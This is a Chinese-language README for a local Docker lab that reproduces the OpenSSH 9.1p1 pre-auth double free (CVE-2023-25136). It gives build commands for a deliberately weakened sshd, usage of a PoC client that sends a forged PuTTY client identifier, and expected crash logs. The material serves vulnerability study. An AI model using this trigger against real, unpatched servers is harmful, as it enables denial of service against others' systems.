本项目提供一个最小化的本地实验环境,用于复现 OpenSSH 9.1p1 预认证 double free 内存破坏漏洞(CVE-2023-25136),并观察到服务端进程崩溃(DoS)效果。
说明:官方与主流分析均认为该漏洞在默认安全配置下“难以实际利用为远程代码执行”,本环境主要用于演示内存错误与拒绝服务效果。
靶机(Target):
sshd--with-sandbox=no 关闭了 seccomp 沙箱22 端口,对外映射到宿主机(WSL)上的 2222 端口攻击机(Attacker):
paramiko 运行 PoC,构造特定 SSH 客户端标识并发起预认证握手目录结构:
Dockerfile:构建 OpenSSH 9.1p1 漏洞环境的镜像poc.py:最小 PoC 客户端,用于触发预认证阶段 double free在本目录下进行以下操作前,请确保:
pip在本目录下执行:
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
说明:
--rm:容器退出后自动删除--name sshd-vuln:容器名称-p 2222:22:将容器内 22 端口映射到宿主机 2222 端口docker ps
应能看到类似:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
在本目录中执行:
pip install paramiko
poc.py 使用 paramiko.Transport 主动与目标 SSH 服务器建立连接,并在预认证阶段伪造客户端标识,尝试触发 double free。
关键特性:
127.0.0.1:2222(即本机 Docker 容器)SSH-2.0-PuTTY_Release_0.64-t/--target:目标 IP(默认 127.0.0.1)-p/--port:目标端口(默认 2222)-c/--client-id:伪造的 SSH client 标识--timeout:超时时间(秒)-v/--verbose:输出详细错误信息在保证容器 sshd-vuln 已启动的前提下,在本目录执行:
python3 poc.py
或显式指定参数:
python3 poc.py -t 127.0.0.1 -p 2222 -v
客户端预期输出示例:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
请在服务端 sshd 日志中查看是否出现 'free(): double free detected' 等信息,以确认是否触发 CVE-2023-25136。
说明:
Authentication failed 或 connection closed 是预期行为,因为服务端预认证子进程在处理过程中可能崩溃或主动关闭连接。运行 PoC 后,在宿主机查看容器日志:
docker logs sshd-vuln
预期可看到类似输出:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
其中:
Invalid user:由于 PoC 使用空用户名,OpenSSH 记录了非法用户尝试free(): double free detected in tcache 2:glibc 检测到 double free 并终止当前 sshd 子进程,这正是本实验要观察的内存破坏/DoS 现象注意:为了能够看到这一行,我们在构建 OpenSSH 时关闭了 seccomp sandbox(
--with-sandbox=no),否则沙箱可能会在 double free 之前先拦截异常行为并直接终止子进程。
sshd 进程会继续为后续连接派生新的子进程。